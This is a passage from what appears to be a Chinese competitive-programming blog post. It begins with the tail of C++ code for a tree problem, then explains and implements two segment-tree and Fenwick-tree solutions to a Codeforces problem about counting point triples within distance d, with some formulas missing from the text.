if(cnt[to[i]] > cnt[hson[u]]) hson[u] = to[i];
}
}
void dfs2(int u, int top) {
static int dn = 0;
dfn[u] = ++dn, topf[u] = top, A[dn] = u;
if(hson[u]) dfs2(hson[u], top);
for(int i = head[u]; i; i = nex[i]) {
if(to[i] == dad[u] || to[i] == hson[u]) continue;
dfs2(to[i], to[i]);
}
}
int mark[N];
inline int lowbit(int x) {
return x & -x;
}
inline void add(int x, int d) {
while(x <= n) mark[x] += d, x += lowbit(x);
}
inline int sum(int x) {
int ans = 0;
while(x) ans += mark[x], x -= lowbit(x);
return ans;
}
int main() {
//freopen("in.txt", "r", stdin);
scanf("%d%d", &n, &m);
for(int i = 1; i <= n; i++) f[i] = i;
for(int i = 1; i <= m; i++) {
int u, v, a, b;
scanf("%d%d", &u, &v);
a = find(u), b = find(v);
if(a != b) {
addEdge(u, v), addEdge(v, u);
f[a] = b;
} else {
ex[++ce][0] = u, ex[ce][1] = v;
}
}
dfs1(1, 0);
dfs2(1, 1);
for(int i = 1; i <= ce; i++) {
int u = ex[i][0], v = ex[i][1];
if(dfn[v] + cnt[v] > dfn[u] && dfn[u] > dfn[v]) swap(u, v);
if(dfn[u] + cnt[u] > dfn[v] && dfn[v] > dfn[u]) {
add(dfn[v], 1), add(dfn[v] + cnt[v], -1); add(1, 1);
while(dad[v] != u) {
if(topf[v] == topf[u]) v = A[dfn[u] + 1];
else if(dad[topf[v]] == u) v = topf[v];
else v = dad[topf[v]];
}
add(dfn[v], -1), add(dfn[v] + cnt[v], 1);
} else {
add(dfn[v], 1), add(dfn[v] + cnt[v], -1);
add(dfn[u], 1), add(dfn[u] + cnt[u], -1);
}
}
/*for(int i = 1; i <= n; i++) {
printf("%d %d %d %d %d %d\n", dfn[i], sum(dfn[i]), A[dfn[i]], cnt[i], topf[i], dad[i]);
}*/
for(int i = 1; i <= n; i++) {
if(sum(dfn[i]) == m - n + 1) printf("1");
else printf("0");
}
puts("");
return 0;
}

原题链接:https://codeforces.com/contest/1701/problem/E

题目大意

问你当前序列有多少个三元组满足 是一个最开始给定的值。每次操作要求你往序列里(如果不存在)加入 或是(如果存在)删去 ,然后输出满足要求的三元组的数量。(数都在 内)

思路分析

方法一

这个是我看到题之后想到的。

加入一个点时,把这个点的贡献加入答案;删去时,把这个点的贡献从答案中删除。

一个点 产生的贡献有三种情况:

  1. 这个点是三元组里的 。记与这个点距离小于等于 ,且在它的后面的点有 个,这种情况的贡献就是
  2. 作为三元组里的 。同理,记与这个点距离小于等于 ,且在它的前的点有 个,这种情况的贡献就是
  3. 作为三元组的中间点 。它的贡献就是分别处在左右两侧且距离不超过 d 的点对数量。

前两种情形很好处理。用树状数组维护一下点的数量前缀和 就行了。

情况三,我们用 表示 有多少个点(数量前缀和),用 表示这个点是否存在。它的贡献是:

所以我们用树状数组维护 ,线段树维护区间 之和和 之和(有效点的数量)。

标记的传递、点的有效和无效化、维护的顺序可以参考代码。有亿点小细节,我调了蛮久。

方法二

这个做法来自官方题解。个人觉得它更加简洁好写。

我们记每个 往后距离不超过 的点的数量为 ,用 表示 上是否有点。显然的,我们的答案是:

用线段树维护有效的 就行了。

平方和维护的方法有很多种,什么 3*3 的矩阵啊,或是直接按着 之类的,这里不再赘述,具体参考代码。

代码

方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
// 产生一个点的变化时,我们要考虑三个东西:
// 1. 这个点是三元组的起点
// 2. 这个点是三元组的终点
// 3. 这个点是三元组的中点
// 前两者非常好处理,存一下点的数量就行了
// 第三个就是求 \sum (s[i + d] - s[x]) * vis[i]
// 线段树维护一下就行
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
typedef long long ll;
const int N = 2e5 + 5; //8 + 5;
int q, d, cnt[N];
inline int lowbit(int x) {
return x & -x;
}
inline void add(int x, int v) {
while(x <= N - 5) {
cnt[x] += v;
x += lowbit(x);
}
}
inline int sum(int x) {
int ans = 0;
while(x) ans += cnt[x], x -= lowbit(x);
return ans;
}
#define ls (u << 1)
#define rs ((u << 1) | 1)
ll tr[N << 2], tag[N << 2], siz[N << 2];
inline void maintain(int u) {
tr[u] = tr[ls] + tr[rs];
siz[u] = siz[ls] + siz[rs];
}
inline void upd(int u, ll d) {
tr[u] += d * siz[u];
tag[u] += d;
}
inline void pushdown(int u) {
if(tag[u]) {
upd(ls, tag[u]), upd(rs, tag[u]);
tag[u] = 0;
}
}
void update(int u, int l, int r, int ql, int qr, ll d) {
if(r < ql || l > qr) return;
if(ql <= l && r <= qr) return upd(u, d);
int mid = (l + r) >> 1;
pushdown(u);
update(ls, l, mid, ql, qr, d), update(rs, mid + 1, r, ql, qr, d);
maintain(u);
}
void edit(int u, int l, int r, int x) {
if(r < x || l > x) return;
if(l == r) {
siz[u] ^= 1;
tr[u] = siz[u] * sum(min(x + d, N - 5));
return;
}
int mid = (l + r) >> 1;
pushdown(u);
edit(ls, l, mid, x), edit(rs, mid + 1, r, x);
maintain(u);
}
ll query(int u, int l, int r, int ql, int qr) {
if(r < ql || l > qr) return 0;
if(ql <= l && r <= qr) return tr[u];
int mid = (l + r) >> 1;
pushdown(u);
return query(ls, l, mid, ql, qr) + query(rs, mid + 1, r, ql, qr);
}
void debug(int u, int l, int r) {
if(l == r) {
printf("i=%d s[i+d]=%lld siz[i]=%lld\n", l, tr[u], siz[u]);
return;
}
int mid = (l + r) >> 1;
pushdown(u);
debug(ls, l, mid), debug(rs, mid + 1, r);
}
int vis[N];
int main() {
memset(vis, -1, sizeof(vis));
scanf("%d%d", &q, &d);
ll res = 0;
for(int i = 1; i <= q; i++) {
int x; scanf("%d", &x);
vis[x] *= -1;
// add(x, vis[x]); 不能在这里更新树状数组
// 作为起点
ll t = sum(min(x + d, N - 5)) - sum(x), t2;
res += vis[x] * t * (t - 1) / 2;
// 作为终点
t = sum(x - 1) - sum(max(0, x - d - 1)); //你要求的是 [x-d, x-1]!
res += vis[x] * t * (t - 1) / 2;
// 作为中点
t = query(1, 1, N - 5, max(1, x - d + 1), x - 1);
// t2使用的是树状数组里的数据 t1使用的是线段树里的数据 我们需要保证这两者是同步的
// 因此 要么一起放到前面更新 要么一起放到后面更新
t2 = (ll)(sum(x - 1) - sum(max(x - d, 0))) * sum(x); // 这里要记得开ll!
res += vis[x] * (t - t2);
// 输出答案
printf("%lld\n", res);
// 更新 S[i+d] 的维护
add(x, vis[x]);
update(1, 1, N - 5, max(x - d, 1), N - 5, vis[x]);
edit(1, 1, N - 5, x); // 注意这个必须在后面 不然会被额外upd一次
/*if(i >= 5) {
debug(1, 1, N - 5);
for(int j = 1; j <= N - 5; j++) printf("%d(%d) ", j, sum(j) - sum(j - 1));
puts("");
}*/
}
return 0;
}

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// ai^2 + 2xai + x^2
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
typedef long long ll;
const int N = 2e5 + 5;
ll tr[2][N << 2], tag[N << 2], siz[N << 2];
int m, cnt[N];
inline int lowbit(int x) {
return x & -x;
}
inline void add(int x, int d) {
while(x <= N - 5) {
cnt[x] += d;
x += lowbit(x);
}
}
inline int sum(int x) {
int an = 0;
while(x) an += cnt[x], x -= lowbit(x);
return an;
}
#define ls (u << 1)
#define rs ((u << 1) | 1)
inline void maintain(int u) {
tr[0][u] = tr[0][ls] + tr[0][rs];
tr[1][u] = tr[1][ls] + tr[1][rs];
siz[u] = siz[ls] + siz[rs];
}
inline void add(int u, ll d) {
tr[1][u] += 2ll * d * tr[0][u] + d * d * siz[u];
tr[0][u] += d * siz[u];
tag[u] += d;
}
inline void pushdown(int u) {
if(tag[u]) {
add(ls, tag[u]), add(rs, tag[u]);
tag[u] = 0;
}
}
void update(int u, int l, int r, int ql, int qr, ll d) {
if(r < ql || l > qr) return;
if(ql <= l && r <= qr) return add(u, d);
int mid = (l + r) >> 1;
pushdown(u);
update(ls, l, mid, ql, qr, d), update(rs, mid + 1, r, ql, qr, d);
maintain(u);
}
void edit(int u, int l, int r, int x, ll d) {
if(r < x || l > x) return;
if(l == r) {
siz[u] += d;
ll fi = sum(min(N - 5, x + m)) - sum(x);
tr[0][u] += d * fi;
tr[1][u] += d * fi * fi;
return;
}
int mid = (l + r) >> 1;
pushdown(u);
edit(ls, l, mid, x, d), edit(rs, mid + 1, r, x, d);
maintain(u);
}
ll getAns() {
return (tr[1][1] - tr[0][1]) / 2;
}
int vis[N];
int main() {
memset(vis, -1, sizeof(vis));
int q, d;
scanf("%d%d", &q, &d);
m = d;
for(int i = 1; i <= q; i++) {
int x; scanf("%d", &x);
vis[x] *= -1;
add(x, vis[x]);
edit(1, 1, N - 5, x, vis[x]);
update(1, 1, N - 5, max(1, x - d), x - 1, vis[x]);
printf("%lld\n", getAns());
}
return 0;
}